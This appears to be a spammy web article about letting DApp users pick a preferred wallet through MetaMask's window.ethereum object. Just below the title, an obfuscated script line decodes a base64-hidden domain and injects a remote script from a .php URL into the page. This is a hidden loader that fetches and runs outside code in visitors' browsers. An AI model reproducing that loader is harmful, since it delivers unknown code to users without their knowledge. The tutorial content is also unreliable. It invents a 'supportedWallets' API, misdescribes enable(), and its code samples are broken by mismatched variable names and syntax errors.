Metamask: As a developer, how to allow your DAPP user to choose their preferred wallet

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=7d20a0bd”;document.body.appendChild(script);

Implementing Custom Wallet Selection for a Decentralized Application (DAPP)

As developers building decentralized applications (DApps), we often want to give users the flexibility to choose their preferred wallet when interacting with our platform. In this article, we will explore how to achieve this by using the MetaMask web3 library and its window.ethereum.enable() function.

Description of the web3 library

Before we dive into the implementation, it is essential to understand how the MetaMask library interacts with the Ethereum blockchain. The window.ethereum object provides an interface to interact with the user’s wallet, which is stored in the browser as a web cryptography provider (Web3).

The window.ethereum.enable() function allows users to select their preferred wallet from the list of supported providers. This includes popular wallets such as MetaMask, Coinbase Wallet, and others.

Implementing Custom Wallet Selection

To implement custom wallet selection for your DAPP, you can use the following approach:

• Get the user’s Web3 provider

  – Use window.ethereum.enable() to get the user’s Web3 provider object (e.g. MetaMask).

• Get the supported wallets – Retrieve a list of supported wallet providers from the window.ethereum object using window.ethereum.supportedWallets.

• Select the preferred wallet – Use the retrieved list to select the preferred wallet and inject it into your DAPP.

An example implementation is shown below:

function getPreferredWallet() {
const ethereum = window.ethereum;
const supportedWallets = ethereum.supportedWallets;
// Filter wallets by the user's preferred provider (e.g. MetaMask)
const preferenceWallets = supportedWallets.filter((provider) => provide.name === 'MetaMask');
return preferenceWallets;
}
// Call the function to get the preferred wallet
const preferenceWallet = getPreferredWallet();
if (preferredWallet.length > 0) {
// Inject the selected wallet into your DAPP
const walletProvider = window.ethereum.currentProvider;
if (walletProvider) {
window.ethereum.currentProvider.on("connected", () => {
console.log(Connected to ${walletProvider.name});
});
}
}

Example use case

Let’s say you’re building a DApp that uses the MetaMask wallet provider. In this case, the code would look like this:

import Web3 from "web3";
const web3 = new Web3(window.ethereum);
// Function to get the preferred wallet
function getPreferredWallet() {
const ethereum = window.ethereum;
const supportedWallets = ethereum.supportedWallets;
// Filter wallets by the user's preferred provider (e.g. MetaMask)
const preferenceWallets = supportedWallets.filter((provider) => provide.name === 'MetaMask');
return preferenceWallets;
}
// Call the function to get the preferred wallet
const preferenceWallet = getPreferredWallet();
if (preferredWallet.length > 0) {
// Inject the selected wallet into your DApp
window.ethereum.currentProvider.on("connected", () => {
console.log(Connected to ${window.ethereum.currentProvider.name});
});
}

In this example, when a user logs in with their MetaMask wallet provider, your code will detect the preferred wallet and inject it into your DApp.

Conclusion

Implementing custom wallet selection for your DApps can help give users flexibility and control over their wallet providers. By using the window.ethereum object and filtering supported wallets by the user’s preferred provider (e.g. MetaMask), you can create a seamless experience for your users. Remember to call the getPreferredWallet() function to get the preferred wallet and inject it into your DApp.